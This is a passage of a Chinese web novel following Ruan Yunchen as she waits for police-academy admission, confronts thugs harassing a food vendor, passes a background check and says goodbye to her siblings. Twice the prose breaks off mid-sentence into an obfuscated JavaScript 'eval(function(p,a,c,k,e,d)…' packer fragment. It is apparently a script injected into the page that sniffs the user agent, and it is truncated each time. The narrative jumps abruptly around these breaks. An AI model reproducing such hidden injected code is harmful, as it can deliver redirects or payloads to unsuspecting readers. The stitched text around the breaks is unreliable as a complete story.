他说完后,似乎连自己也有些意外。他沉默了一瞬,低头从口袋里摸出那半盒烟,掂了掂,又放了回去。他的动作慢而克制,像是在给自己留点喘息的空间。 他的声音很低,却比刚才多了一丝沉稳的力道:“人生不是一条路走到底的。出生在哪里、经历过什么,那都不是你能决定的。” 他停了一下,目光落到阮云琛身上。她的脸隐在光影的交错里,眼神微垂,像是还在消化这句话。 “但路从来不止一条。你要记住,你的选择,从来不只有一种。”他的语气很轻,却压住了所有不容置疑的力量。 阮云琛的手指轻轻地蜷了一下,随即又松开。她的目光落在地上的阴影里,像是想说什么,却最终没有开口。 廖致远静静地看着她,目光沉稳而深邃,声音比刚才更缓了一些:“你觉得是无路可走,可实际上,你只是没去看别的方向。” 他轻轻叹了一口气,语气里带着某种难得的温柔:“相信你自己的判断,相信你的选择。你选了淼淼,选了阮秋……这些选择都没有让你失望。现在,也该选自己了。” 那句话落下,走廊里安静得只能听到呼吸声。窗外的风轻轻拂动树叶,光影在墙上浮浮沉沉,时间像在空气里停顿了一瞬。 阮云琛依旧没说话,但她的眼神渐渐有了一点变化,像是在某种矛盾中挣扎,却又隐隐透出一丝动摇。 “先去看看淼淼吧。”廖致远直起身,声音平静,却带着一种不容置疑的安稳,“其他的事,慢慢来。” 78. 等待 日子一天天过去,整个夏天仿佛都消耗在汗水和等待中。阮云琛刚洗完脸,头发还半湿着,坐在桌边喝水。 她的眼神有些游离,目光又一次习惯性地扫过墙上的日历。 高考倒计时还挂在那里,上面的红圈早就打了满。 那些红圈是一天天过去的痕迹,从高考到现在,她已经数不清自己看了多少次。 “姐,别盯着看了,它不会自己长出通知书来。” 廖致远难得在家,他在阳台搬了把椅子,专门用来坐着抽烟。他没有回头,只是淡淡地说:“少添乱,等得再久也得等。” 阮秋耸了耸肩。 他又瞥了两眼,放下了锅盖,随手拿了条毛巾扔到阮云琛头上:“头发擦干,不然又该感冒了。” 阮云琛没有说话,只是把毛巾摘下来,动作慢吞吞地擦着。桌上的粥冒着热气,她盯着碗沿上的一滴水,仿佛能从那里看出什么玄机。 见阮云琛还在那儿想心事,阮秋便也没再打扰。他转身把锅里炖好的小鸡蘑菇盛进了饭盒,又装了整整一大桶小米南瓜粥,备齐了三菜一粥之后,才把饭盒装进了个小碎花袋里,抓了外套准备出门:“我去给淼淼送饭。” “我跟你一起。”阮云琛忽地站了起来,椅子发出了一声凄厉的尖鸣。 廖致远抽烟的手顿了顿,烟头一抖,烟灰险些掉在裤子上。他赶忙站了起来,又觉得自己刚刚的动作好像不太稳重,尴尬地清了清嗓子,又故作深沉地皱起了眉头:“又打工?” “不是打工,我......”阮云琛想了想,斟酌了下语句,“去拳击室练练。” 廖致远松了口气。 可这气儿还没松完,阮云琛又补了半句:“练完再打工。” 廖致远差点把烟头咬断在嘴里。 但廖致远知道自己无论如何也改不了阮云琛这牛犊子的决定,所以哪怕心里埋着一万个不同意,也依旧是在说服失败了第三十次......也可能是五十次之后,他就没再劝了。 他明白阮云琛现在心里焦虑得很,需要让自己忙起来去填补脑子里胡思乱想的波澜,也明白她不想再给他以及整个家带来任何负担。 她焦虑的源头不全是淼淼——那孩子脱离了危险期,现在胃口好得像头小猪崽子——大部分还是因为高考志愿。 “政审......不用担心。”廖致远说。 阮云琛的身体紧绷了一瞬间,随后缓缓地系上了鞋带,她沉默了许久,却最终也不知道该说些什么。 廖致远叹了口气,打破了沉默:“别太累着自己。” “好。” 廖致远抽完烟就走了。 新的案子一个接一个,能真正结了的却又屈指可数。哪怕是廖致远直接把家给搬去所里,也催不了那几乎动不了一点儿的进度。 每天都是日复一日的生活,一茬接一茬的琐事,说大不大,说小也不算太小。 “今天小区那边又吵起来了。”阮秋低踢了脚拦路的破易拉罐,随口说道。 隔了会儿,他想了想,又去给捡了起来,丢进了垃圾桶。 阮云琛愣了下:“又怎么了?” “听说是有人觉得胖子卖的鸡柳缺斤少两,所以砸了他家窗户。” 胖子是隔壁单元的住户,叫谢林利。叫他“胖子”,其实只是他前两年上职高的时候有两百来斤。现在瘦了,但那“胖子”的称呼倒是在邻里留了下来。 说是胖子职高毕业后做了不少生意,缝过鞋垫,开过保亭,每个都没干很长时间,也都不是什么大买卖。不是说多缺钱,就是纯闲的。 不想上学,也不想上班,那就只能是自己做点生意,好歹养得活自己。 现在他也不知道是感兴趣了还是怎么的,两三个月前又开始去卖炸鸡柳了。 他平时会把车推去学校门口,早上卖小学的,下午卖幼儿园的,傍晚卖初高中的,哪边都不耽误——倒是挺会做生意。 阮云琛回忆了下前几天买的那份鸡柳,点了点头:“是给得有点少。” 阮秋换了只手拎给淼淼带的,正好迎面来了辆卖菜的三轮,他伸手拉了阮云琛一把,顺手把她给推去了人行道内侧,忽地说:“我准备跳级的事,学校那边差不多快批了。” 这话题转换得突兀,语气平淡地又像在说天气,阮云琛一时间没反应过来,并没有立刻接话。 “下学期开学,我会直接去淮龙附高的高一三班。”阮秋说,“王老师给我写了推荐信,有全额奖学金拿,不用担心学费的事情。” 王老师——王茼乾,之前帮阮云琛写推荐信的也是她。 去年她就从淮龙小学调到了中学,直接去任职了教导主任,当然也在那会儿见到了帮阮秋办入学的阮云琛。 “有好好谢谢她吗?” 阮秋“嗯”了声:“她什么都不要,我就给她写了封感谢信。” 阮云琛点了点头。 她抬起手,本想把头发拢了起来,摸了摸手腕,才想起来自己早上洗完头忘记拿皮筋。 阮秋瞥了眼,直接拍开了她的手,接过了那一捧不太长的头发,从兜里掏了根粉黄的头绳出来。 阮云琛下意识地仰了仰头。 她的的目光随着那根头绳跟了许久,直到连余光都瞥不见,才闭了闭眼,转动了下干涩的眼珠子。 阮秋站在她身后,低着头,指尖灵活地绕过头发,将那根颜色鲜亮的头绳扎得妥妥帖帖。 阮云琛忽然意识到,他的身高竟然已经和她差不多了——明明上个月还差着半个头,现在居然能这样俯下身,像个大人似的帮她扎头发。 “什么时候长这么高了?”她随口一问,语气淡淡的,却带着点难以掩饰的意外。 阮秋没有回答,只是笑了一声。他手上动作很轻,扎好后,还特意拍了拍头绳的位置,像是确认是否稳妥。 阮云琛忽然又觉得自己的问题好像问得有点突然,沉默了会儿,转回了原来的话头:“你想清楚了?” 阮秋熟练地给阮云琛扎好了马尾,把垮在胳膊肘的饭盒又换了只手,目光亮得像早晨的阳光:“想清楚了。” 他的回答干脆得让阮云琛有些无言。她低下.头,在脑子里搜刮了一圈词句,隔了很久,才轻声问了一句:“太快了,会很辛苦。” “快点长大不好吗?”阮秋笑了笑,声音压得很低,“我不想总让你觉得,只有你能扛起这个家。” 这句话让空气安静了一瞬。 六七月的风里总带着股水汽,空气里弥漫着散不去的潮味。燥热的阳光总爱透过树叶缝往各处钻,稍微动上一动,就热得人心里发毛。 天光正亮,空气里带着一丝油烟和食物的香气。阮秋顺着味儿抬眼往前看去,忽地一愣:”胖子怎么又来拳馆卖鸡柳了?” “暑期吧。”阮云琛咕哝了句,“学校也不开门。” 那摊前站着几个人,穿得格外邋遢,□□都垂去了膝盖弯,吊儿郎当的。 胖子站在摊位里,嘴唇抖了抖,汗从额角滑下来。他连连摇头,声音听着快哭了:“真不是……我不可能少给!每次都是称好的。” 为首的男人呵笑一声,抬脚踢了下摊子角:“就你这破秤,准吗?” 摊子一晃,锅里热油差点溅出来。胖子下意识地挡了一下,手背瞬间红了一片。他倒吸了口气,却什么都没敢说。 眼见着那人又要为难,胖子往后缩了下,余光间瞥见了阮云琛,忽地眼前一亮:“阮妹妹!阮妹妹!帮哥评评理!这些人欺人太甚了!” 阮云琛脚步一顿,抬眼看向摊子那边。 胖子的话音刚落,那几个地痞的目光便齐刷刷地转了过来,像是一群被惊扰的乌鸦,阴沉得不太友善。 为首的男人往地上吐了口痰,目光从她身上扫了一圈,露出一个吊儿郎当的笑:“哟,这小妹妹,哪位大哥家的啊?” 阮云琛没理会他,只是低头瞥了眼摊子,锅里的热油依旧翻滚,旁边放着几袋已经称好的鸡柳。胖子的手背上被烫出了一片红,黏着点油腻的光。 她慢慢地走过去,声音不高,却带着一种与她年龄不符的冷静:“什么事?” “他鸡柳少给了。”男人慢悠悠地说,语气却像在宣判,“做生意可不能缺斤短两啊。” 他笑了一声,抬手又踢了一下摊角。 这一脚力道更大了些,锅里的油晃了晃,溅出几点,砸在胖子的脚面上。他倒吸了一口气,弓着背往后一缩。 阮云琛忽然伸手,把他的肩膀往后一推。她往前一步,挡在了摊位正前方。目光直直地落在男人的脸上:“够了。” 那男人一愣,似乎没想到她会直接出头。随即,他的表情变得嘲讽,抬起来往阮云琛肩膀上一搭:“小丫头片子,管得还挺宽......” 话没说完,他的身体就忽然弯了下去。下一秒,拳风带着破空声狠狠地砸在了他的小腹上。他踉跄着退了好几步,捂着肚子,脸上冒出一层冷汗。 “再不走,我可不只动手。”阮云琛的声音更冷了几分。 剩下的几个人对视了一眼,似乎有些不甘心,但最终还是低声咒骂着,扶起男人灰溜溜地离开了。巷子里一下子安静下来,只剩下胖子还愣在原地。 他的嘴巴嘴巴张了又合,半晌才回过神来,一把抓起摊上的鸡柳,塞进袋子递过去,嘴里嘟囔着:“拿着,当谢礼了。” 态度比刚才那点可怜巴巴的倔强收敛了不少,瞧着还真有几分老实。 阮云琛没接,只是瞥了一眼袋子,随手一掂,眉头稍稍皱了一下。胖子那脸上的殷勤神色瞬间僵住了:“不可能少啊,我每次都按秤称的。” 阮秋没搭理,他已经绕到摊后,顺手拿起那台被油污糊得半亮不亮的电子秤,拨了两下,屏幕上的数字闪了闪,明显带着故障。 他把秤放回去,看了胖子一眼,那眼神带着一种少年人的直白,像在问“你是没发现,还是没长眼”。 胖子看着秤上的跳动数字,顿时有点傻眼。他一边挠头一边咕哝:“这、这怎么坏了?怪不得……” 最后一句没说全,只剩一片含糊。 阮云琛没接话,她拿起拳馆的门把,推开门之前回头看了胖子一眼:“改天修修吧。” 随后便走了进去,连余光都没多留。 胖子站在原地,嘴巴开开合合,像是想说什么,但最后只剩下一声叹气。他低头看着那秤,脸色一会儿红一会儿白,颇有些狼狈。 街道上,人声车鸣,阳光在地面上晃动着像碎金。阮秋拎着饭盒,懒洋洋地靠在门口的墙边,低头瞧了眼腕表,像是在计算时间。又瞥了眼胖子,还笑了一声:“以后多留意着点,否则下回可不一定能遇得到我姐。” 胖子闻言,刚想辩解,可抬头看到那小子嘴角的坏笑时,所有话都咽了回去。 拳馆练完后,阮云琛接着留在那儿打杂——之前的那家汉堡店干不下去了,关店申请倒闭了,阮云琛没办法,才又寻得工作。 还好拳馆正缺暑期工,需要人在闭店后收拾器材,阮云琛正好就应聘上了。 等她锁好门,已经是九点多了。 阮秋拎着那个跟他十分不搭噶的小碎花布袋站在路灯下——那布袋是淼淼最喜欢的,每次都得要求自己的小饭盒得用它装,否则就会不高兴一整天。 夜风从街道尽头轻轻吹过来,路灯把阮秋的影子拉得很长。他低头踢了一下脚边的小石子,听见脚步声时抬起头,看向走来的阮云琛。布袋在他的手上晃了晃,泛着些柔软的褶皱。 阮云琛叹了口气:“你每天这么等我,什么时候预习功课?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阮云琛抬起头,手指滑过画纸的边缘,顿了顿才站起身。 准备?怎么准备? 她知道这不是一场考试,答题卡上不会有勾选过去的选项,更没有人会直接问你是否无愧于自己的历史。 外面的天色还算明亮,窗外的光透进来,将地上的影子拉得长长的。阮云琛将画纸搁在桌角,抬手轻轻拍了拍上面的书:“听天由命吧。” 阮秋没说话,只是站在原地,看着她转身走开。 门关上的瞬间,轻轻的一声“咔嗒”像是打破了他心里那些琢磨不透的复杂情绪。 阮秋低下头,目光落在那张被风掀开的画纸上,画中的小人还是画歪了的,肩膀高高低低,看上去有些无所适从。 家里的日子照旧,不快不慢地推着时间往前走。淼淼还在医院里,但精神好得让人忘了她是病人。 阮云琛让阮秋带去的画纸又见了底,前天护士还特意问阮云琛,是不是家里开了个画坊。 阮云琛笑了笑没接话,心里却想着,这些画大概能贴满她们家整栋楼的墙。 窗台上,前些天胖子送的几块炸得焦黄的鸡柳还剩下半盒,已经完全冷透了。她拿起来闻了闻,皱了皱眉,把盒子丢进了垃圾桶。 那种油腻的味道让她觉得有点反胃——也可能是心里的事太多,胃口就跟着不对劲了。 ——政审。 这两个字不断地砸在阮云琛的脑海里,怎么也挥散不去。 过不了,那是正常,反而会让人松一口气,不像是那刀悬在脖子上却迟迟不落下;过得了,那才是真的会让人提上一口气,久久无法疏散。 廖致远没说太多,只是提了一句:“录取前会有人来找你,了解一下情况。” 阮云琛点了点头,没多问——越是表面镇定,内心越是翻江倒海。 果然,过了两天,有人上门了。 一个五十岁上下的女人,穿得严严实实的,拎着个牛皮纸袋,一进门先是四下打量了一圈。她的目光在墙上的画和鞋柜边堆放的运动鞋上停留了片刻,随后露出了职业化的微笑。 “你是阮云琛吧?”她开口问道。 “是。”阮云琛站在客厅中央,背挺得笔直。 女人点了点头,掏出一张表,随口问:“你弟弟妹妹都跟你住一起?父母情况呢?” 这话让空气有那么一瞬间的停顿。阮云琛的手指轻轻扣在裤缝边缘,像是在掂量着什么。过了几秒,她的声音平稳地响了起来:“父母都不在了,廖致远是我们的监护人。” 女人的目光掠过她的脸,带着点探究,随即低头在表上写了些什么。 调查过程并不复杂。 街坊邻里只是被问了一些常规问题:这家姑娘人怎么样?平时与人相处是否和善?有没有惹是生非? 答案大多是含混的“挺好”“没什么问题”。 偶尔有人提起曾经的闲言碎语,却也没有具体内容——那些年埋在暗处的事,哪怕被提起,都会迅速化作一句轻飘飘的“听说而已”。 至于更深的事情——那些真正与“过去”相关的东西,系统里找不到,文档里也没有。 是漏洞,也是幸运。 是讽刺,却是现实。 阮云琛站在廖致远的公寓门口,看着楼下停着的调查车,脑子里闪过从前的老居民楼。 那栋楼的墙皮早已剥落,像被时光啃噬过的骨头,灰扑扑的楼道里时不时冒出一声争吵或广播。 那些住在筒子楼里的老人,哪怕只看了一眼她,也能随口说出她的名字、家庭、过往,甚至加点自己添油加醋的料。 如果政审还在那里进行,会是什么样? 阮云琛没有深想下去,呼吸间却觉出一丝庆幸。廖致远的公寓简单,却足够安静,安静到让人无法轻易打量。 邻居都是上班族,早出晚归,彼此不过点头之交,问得再多也只是一句:“还不错的姑娘。” 大概,这就是他们能拥有的幸运。 廖致远没明说他到底做了什么,但阮云琛猜得到。 他的手插在裤兜里,表情一如往常的冷淡疏离:“没什么可担心的。” 阮云琛想反驳些什么,可话到嘴边,竟然什么也说不出口。 79. 临行前 录取通知来的那天,天还没完全亮。 淼淼是第一个醒的,她揉着眼睛晃进厨房,瘦小的身影倚在门框上,声音软糯地喊了声“姐”。 阮云琛正蹲在地上清洗水槽,抬头时,袖子上沾了些水渍。 “去洗脸刷牙。”阮云琛说。 淼淼是前两周接回来的,医院那边说病情稳定了,可以回家观察,估摸着九月可以正常上课。只是平时还是需要多注意休息,避免熬夜。 阮云琛那会儿瞅着淼淼,淼淼嘟着嘴瞅着窗外,小声嘟囔:“我就是晚上一个人睡,容易睡不着嘛。” “睡不着你就熬夜偷偷画画?”阮秋的声音拔高了几个度。 淼淼扭过了头去。 阮云琛叹了口气。 淼淼拖着步子转身离开,门口的报纸早被阮秋带进来,摊在了桌上。他拿起报纸时,没注意到那封不起眼的信封滑落在桌边。 阮云琛擦干手,一边叮嘱淼淼早饭别喝太烫的粥,一边把信封拿了起来。上面的红色印章让她的动作停了一瞬。 她没有急着打开,而是站在原地,指尖摸着封口的边缘。 阮秋从一旁探了个头,嘴角扬了扬:“还愣着干嘛?拆啊。” 封口被撕开时,纸张的裂缝声很轻,似乎怕惊动了整个家。字迹工整的录取通知书躺在信封里,抬头时,正好撞上了淼淼跑出来的脚步。 “姐,是不是那个‘警察学校’?”淼淼瞪大了眼睛,仿佛发现了什么天大的秘密,满脸兴奋,“你要去当警察了?” 阮云琛没说话,只是把通知放回了桌上。她低头抹了抹袖子上的水痕,像是要把沾上的灰尘一并擦掉。 阮秋靠在椅子上,手里随意地转着铅笔,看了一眼通知书,又看了眼阮云琛,最后轻轻地叹了口气:“不庆贺一下吗?” “过几天吧。”阮云琛的回答平静得像在说别人的事,“也不是什么大事,不用这么费心。” 虽说如此,阮秋还是早早地开始准备了。 早晨的太阳像是被厚重的湿气滤过,明明白白地照在地上,却没什么暖意。 阮秋拎着菜篮子站在街角,伸手遮了遮眼睛,远远看着对面市场里的喧闹人群。他皱了皱眉,低头看看手里的菜谱,上面的字迹清清楚楚:“糖醋排骨,小鸡炖蘑菇,凉拌黄瓜。” “鸡要一整只。”他站在肉摊前,非常笃定地开了口。 肉铺的老板手脚麻利地剁好递过来,低头瞥了眼那菜篮子,忍不住问:“小伙子,这些菜够你们家吃几顿啊?” “今晚吃完就没了。”阮秋接过包装好的肉,提了提肩膀上的布袋,又回头挑了几根青菜。他付完钱,穿过拥挤的人群朝家走去,步伐快得像是在赶什么看不见的路程。 阮云琛赶巧从拳馆出来,那五大三粗的老板从后头追了出来,给她塞了俩拳套,什么也没说,扭头就跑了回去。 阮云琛愣了半晌,直到阮秋走到了身边,才反应过来。 “辞职了?”阮秋问。 “嗯。” 拳套大概是老板送的临别礼物,新的,大红色的,胖子看了直眼馋:“我在他门口卖了这么久的鸡柳,怎么也没见他送我一副。” 阮秋上下打量了一番他,目光落在了他面前的小车上,那车里放着八口铁锅,旁边还有好几摞塑料杯。 胖子赶忙解释:“我这不是给油锅烫怕了吗,现在改做八宝粥生意了,也不用怕秤坏了,一杯就是一杯。” 阮秋笑了笑,没说话。 胖子被盯得越来越怂,最后舀了两大杯八宝粥出来,非得让他们俩尝尝味道,说自己这次的八宝粥生意绝对能做得下去。 阮云琛本来还想给钱,被胖子硬是给推了回去,支吾了半晌,才说那是临别礼物。 “我听拳馆老板说你要去上大学了。”他说,“祝贺啊。” 阮云琛愣了愣,好半晌,才缓缓说了声“谢谢”。 胖子夸张地挤了个哭丧的表情,大力地拍了拍阮云琛,给她拍得退出了好几步远。阮秋还没来得及上前指责,胖子就先一步装作认怂了的模样,盖上锅盖,蹬着三轮就溜了:“城北那间辅导机构该下课了,我先走一步!” 阮秋摇了摇头。 “走吧。”阮云琛拍了拍他的胳膊,抿着嘴,露出了点微薄的笑意,“回家吧,淼淼该饿了。” 阮秋撇了撇嘴:“她是饿死鬼投胎吧,三分钟不喂食就该叫了。” 虽说如此,他还是一进家就钻去了厨房,站在案板前,手上动作迅速,一边把剁好的鸡块放进碗里,一边用余光瞥向窗台上的电子表。 时间一分一秒地跳动,他却没有丝毫停顿的意思。 锅里翻腾着浓郁的汤汁,香气透过厨房门钻进客厅,惹得淼淼探头探脑地跑来:“哥,今天是不是又有小鸡蘑菇啊?” 阮秋没回头,只是用手背把汗水抹开,头也不抬地应了声:“去写作业,别添乱。” 阮云琛进了房间,捏了捏那副大红的拳套,小心地把它们挂在了书桌旁的挂钩上。 拳套遮住了倒计时上的一个个红圈,恍惚间,似乎融为了一体。她盯着那片红色,嘴角微微弯了一下。 厨房飘来了油烟味。 阮秋在忙活,一锅热汤正冒着白烟。他背对着门,低头翻动了下锅里的鸡块,又去一边熟练地切起了案板上的胡萝卜。 阮云琛靠在厨房门口,看着他的动作不急不缓,锅铲和瓷碗碰撞时发出的声音像某种奇异的节奏。 她忽然有些恍神。 以前那个缠着她要糖吃的小尾巴,如今站在灶台边,手腕翻转间流露出的熟练劲儿,俨然一副掌厨的架势。 这一刻的宁静让她心里微微发酸,却又带着点轻松。她没出声,靠在门边静静地看着,像是在刻意拖延这片刻的温馨。 阮秋抬起眼皮看了她一眼,没等她开口就拒绝了:“别想着帮忙,去桌上等着吧,我可不想再吃糖放成了味精的菜了。” 阮云琛哽了下,剜了他一眼,想了会儿,又觉得气不过:“你之前可不这样。” “那时候小,心地善良。”阮秋说。 阮云琛止不住心里想骂点什么,但话到嘴边,也就变成了:“你现在也小啊。” 阮秋笑了笑,没说话。 桌上的茶几上摆了一张折得四四方方的画纸,阮云琛伸手拿起来,认出是淼淼前几天的画,四个人被画得鲜亮生动,连背景都涂满了阳光的颜色。 她盯着画面,指尖用力得有些发白。良久,她把画重新放好,靠在椅背上闭了闭眼睛。 饭菜摆上桌时,天已经彻底暗了下来。 阮秋一边把最后一盘菜端上来,一边叫住淼淼:“别涂了,快出来吃饭。” 淼淼捧着画笔跑出来,眼睛亮晶晶地看着那满满一桌菜,抬头问阮云琛:“姐,今晚有什么好事吗?” “没什么。”阮云琛的声音听上去有些沙哑,她随手递过去一双筷子,“赶紧吃吧。” 饭桌上的气氛静得出奇。阮秋默默给每个人碗里夹了些菜,淼淼却咬着筷子不肯吃,等着某个“仪式感”的开场。 门突然响了一声。 几个人都停下动作,看向了门口。廖致远推门进来的时候,手上还提着一个公文包,鬓角的头发乱成一团。 他把外套脱下来随手挂在椅子上,抬眼扫了一圈饭桌,神色间有些茫然,却又好像柔和了许多。 “都在呢......?” 他问完这话,忽然又觉得自己好像说了句废话。明明这几个都是小孩子,不在的人总是自己,却问得好像是他们不乐意聚在一起似的。 廖致远抿了抿嘴,挂警服的动作都比平时慢了半拍。 “廖叔叔!”淼淼倒是先开了口。 她站了起来,像个挽回主持人似的把勺子放在了嘴巴前面,大声宣读:“既然廖叔叔回来了,那今天就是庆祝姐姐拿到录取通知书的晚宴,欢迎廖叔叔回家!” 廖致远的神色微微有些怔忪,他站在那里,看了阮云琛一眼,又看了看桌上的菜,最后轻轻“嗯”了一声,坐了下来。 饭桌上的气氛温吞而柔和。淼淼叽叽喳喳地讲着学校里的趣事,阮秋偶尔插几句,语气里带着点调侃的意味。阮云琛则安静得有些出奇,偶尔应和两句,但更多时候只是低头吃饭。 廖致远看了她一眼,又低头夹了口菜。空气里似乎有某种压抑的情绪,像一根绷得太紧的琴弦,随时可能断掉。 “什么时候走?”廖致远突然开口,语气平淡得像是在问天气。 “后天。”阮云琛回答得很快,声音没有任何波澜。 警校不在淮龙,在距离这儿十来个小时大巴车程的田家庄市。 大巴车程并不算长得多离谱,但警校是封闭式的,最多也就是学期末才能回家,淼淼听了之后,泪水瞬间就冲上了眼睛。 “那……寒假呢?暑假呢?”淼淼追问。 阮秋轻轻咳了一声,把她碗里的鸡块推了推:“还没走呢,就开始算日子了?” “可我想让姐姐回来嘛!”淼淼撅起嘴,低头吸了一口汤,又忽然抬起头,眼神一亮,“那姐姐能不能给我写信?像电视里那种,信封上画个邮票,贴个印章,寄到我们家来!” 阮云琛的手停在半空中,片刻后才低声应了句:“可以。” “真的啊!”淼淼的脸上瞬间绽放了笑容,放下筷子就跑去翻抽屉,“那我也要写!我要写好多信给姐姐!” 阮秋的声音从一旁传来,淡淡的:“你写了,谁寄?” 淼淼愣了一下,随后皱起眉头:“哦……对哦,得去邮局。” 她转身去抽屉里的信纸抱了出来,一脸严肃地说:“我就每天存起来,等你放假回来,一封封给你!” 窗外的风卷起窗帘,灯光在屋里荡开淡淡的影子。 阮云琛看着淼淼在地板上铺开信纸,挥着彩笔涂涂画画,嘴角微微动了一下。 她没有说什么,只是透过门缝,看向自己房间里打开的行李袋,还有那一叠没收拾完的衣服上放着的,保存完好的录取通知书。 说实话,阮云琛的行李其实没什么好收的,就几件换洗衣服,一只从以前的家里找出来的手表,还有廖致远特意给她买的新背包。 “别用旧的了。”他说,“你是去警校,不是去出差。” 阮云琛没有反驳,只是沉默着把东西往新包里塞。 虽然东西很少,但依旧装得满满当当。廖致远皱着眉看了两眼,忍不住提醒:“到了学校,东西该扔的就扔。别像个打游击的,能轻便就轻便点。” “好。”阮云琛说。 她走之前,还是去了一趟以前的家。 天阴着,云层堆得厚,街角风一吹,夹着点潮味儿,落在身上没个响动,倒像是顺着毛孔钻进骨缝里。 淼淼去上画画辅导班了,阮云琛拿拳馆结的钱给她报的名。她本来想叫阮秋送,正好叫隔壁单元的胖子瞧见,他说自己正好也要去卖八宝粥,非要顺路给淼淼送去。 “你还怕我拐了淼淼丫头不成?”胖子鼓着嘴,学着淼淼的样子嘟囔着。 阮秋皱起了眉头:“你别这样......你这样怪恶心的。” 阮云琛给了他一巴掌。 阮秋有点委屈,但看着阮云琛拿模样,也不太敢再说什么。胖子拦在半路,坚持要送淼淼上课,阮云琛推脱不过,只好说:“我从田家庄给你带特产回来。” 胖子赶忙摆手:“别了,真就是顺路,而且我不爱吃豆干。” 阮云琛没办法,只能道了谢,先让他走了。 淼淼头一回坐三轮车,开心得跟个小鸟似的,叽叽喳喳地乐,声音渐渐远去。 渐渐地,四周安静了下来。 阮秋跟在阮云琛身后,两个人都没说话,只是默默地穿过熟悉的巷子。 脚下的青石板早已斑驳,边角被磨得发滑,偶尔一踩还会有些水渍冒出来。楼道里的窗户斜斜开着,挂着几件褪了色的衣服,风一吹,摇摇晃晃,像是半睁着眼看人的影子。 巷子尽头原本该有点烟火气,可这会儿空荡荡的,只有墙边的阴影里散落着几块破木板,还残留着些黑色的焦痕。 阮云琛的目光在那片地面上停了片刻,没有多看,脚下却不自觉地慢了几分。 ——程一冉家里的炒面摊子已经不在那儿了。 “前阵子还在这儿吧,这回连影子都没了。” “早就没了,听说......家里出事了。” “什么事啊?” “不清楚,好像是有人趁着那家孩子出去上学期间过来闹事,把油锅掀煤气罐上了还是怎么的,反正那会儿把摊子都烧了,摊主住院了很久呢。” “我的妈啊,这得上新闻了吧?” “上什么新闻,警察又不管。” 就跟应了阮云琛心中的疑问似的,旁边两个路人一边聊着一边骑着自行车溜了过去。 那声音飘得远了些,夹在空气里一时真真假假地回荡着。阮云琛听了,却没转头,手指无意识地攥了攥。 程一冉家确实空了。 阮云琛没敢上楼,只是站在自己家门口往上看了去。 那边安静得出奇,原本堆在门边的那些厚厚的习题册不见了踪影。那绿色的铁门外是厚厚的灰尘,好像已经很久都未曾有人经过了似的。 风吹拂过去,卷起几片小广告纸,掠过楼道口的阴影里,悄无声息地飘远了。 阮秋终于找出了钥匙,打开了家里的门。 屋中有一股微弱的灰味。 屋子里很暗,窗帘拉得严实,只有门口的一点光晕沿着地板漫了进来。角落里堆着几个旧纸箱,表面已经泛了黄,像是被时间慢慢浸透了一层灰。 桌上还有一只茶杯,杯口边缘隐约能看见水垢的痕迹。旁边的墙上,旧挂钟停在了一个未知的时刻,指针僵硬地指向空无意义的数字。 阮云琛站在门口,没有往里多走一步。空气里弥漫着那种积灰太久才会有的微弱霉味,像一种无声的提醒:这里已经很久没有人住了。 阮秋随手拉开了窗帘,阳光猛地涌了进来,把那些陈旧的细节照得分外清晰。他把手上的小包放在桌上,又回头看了看阮云琛,没说什么,只是伸手拍了拍椅背。 阮云琛没有动,她的目光落在那个停滞的钟表上,眼神沉沉的,像是翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮云琛蹲下身,手指轻轻拭去了她脸上的泪水,语气很轻:“我也会想你。等放假了,我就回来。” 阮秋一直站在原地,鞋底踩在地面上的水渍里,偶尔挪动一下,发出轻微的“吱嘎”声。 他的手插在裤兜里,像是无意间放进去的,却又攥得过紧,裤子的布料被挤出几道不明显的褶皱。 阮云琛刚从淼淼脸上拭去泪水,转身站起来,余光间瞥见了阮秋那边的影子。他的肩膀微微垮着,像是承受了什么难以言说的重量,又仿佛怕被人看透似的,刻意低着头。 “小秋?”她叫了一声,语气里带着一点疑惑。 阮秋动了动嘴唇,像是有话想说,却没有发出声音。他的脚下踩着那一片水渍,鞋底几乎嵌进了地砖的纹路里,迟迟没有挪开。 候车大厅的广播声又响了一遍,机械的女声在说着“最后一批乘客请尽快检票”,语速一如既往的平稳,带着某种公式化的从容,和他此刻的神色格格不入。 他像是憋了很久,终于抬起头,目光却不敢直接落到她的脸上。他看着旁边的行李包,又看向淼淼的方向,喉结上下动了动,终究是垂下了眼:“姐……” 他的脸红得厉害,连耳根都被染上了一层热气。他的嘴唇微微抿着,似乎在犹豫,几秒后,他像是下定了什么决心,突兀地开了口:“姐,我能抱抱你吗?” 这句话轻得像风,几乎要被人声和广播掩盖掉。可阮云琛听清了。 空气顿时静了下来。 阮云琛的目光缓缓移到他的脸上,像是没听明白他到底在纠结什么。她并没有急着回答,而是盯着他看了一会儿,眼神里带着点诧异,却也没有露出任何拒绝的迹象。 阮秋显得更加不安,他的手从裤兜里抽了出来,垂在身侧,指尖蜷了蜷,又松开,掌心的弧度微微有些僵硬。他抬眼看她的瞬间,目光里藏着某种不易察觉的期待和一点点紧张。 站台外的大巴车缓缓靠近,车窗反射的阳光刺进眼底,晃得人有些发晕。广播的声音依旧平稳,但他的耳朵里却像是蒙上了一层厚重的布,听不清那些机械的语调。 他的耳根有些发红,他别开视线,声音却放得更低:“……就一次。” 阮云琛这会儿才回过了神,她没有多说,只是微微张开了手臂。 阮秋愣了一下,眼里闪过一丝不易察觉的慌乱,但很快,他的脚步向前挪了挪,动作稍显笨拙地将她抱住。 那力道不深也不浅,像是怕力气用大了会让她不舒服,又像是怕太轻会显得不够真诚。 少年的肩膀已经变得宽了,几乎和阮云琛齐平。他的手臂环住她时,力气带着些试探,却不再是小时候那种单纯依赖的姿态,而是一种微妙的守护——不多不少,恰到好处地贴近了她的肩胛。 阮云琛没说话,连呼吸都不自觉放轻了一些。 她的手落在他的后背上,感受到那衣料之下的热度,心里某个地方像被轻轻撩动了一下,却又迅速地掩了过去。 耳边传来一声轻轻的鼻息,是阮秋放慢了呼吸。他没有再多说什么,只是稍稍收紧了手臂,像是想把这一刻刻进骨子里。 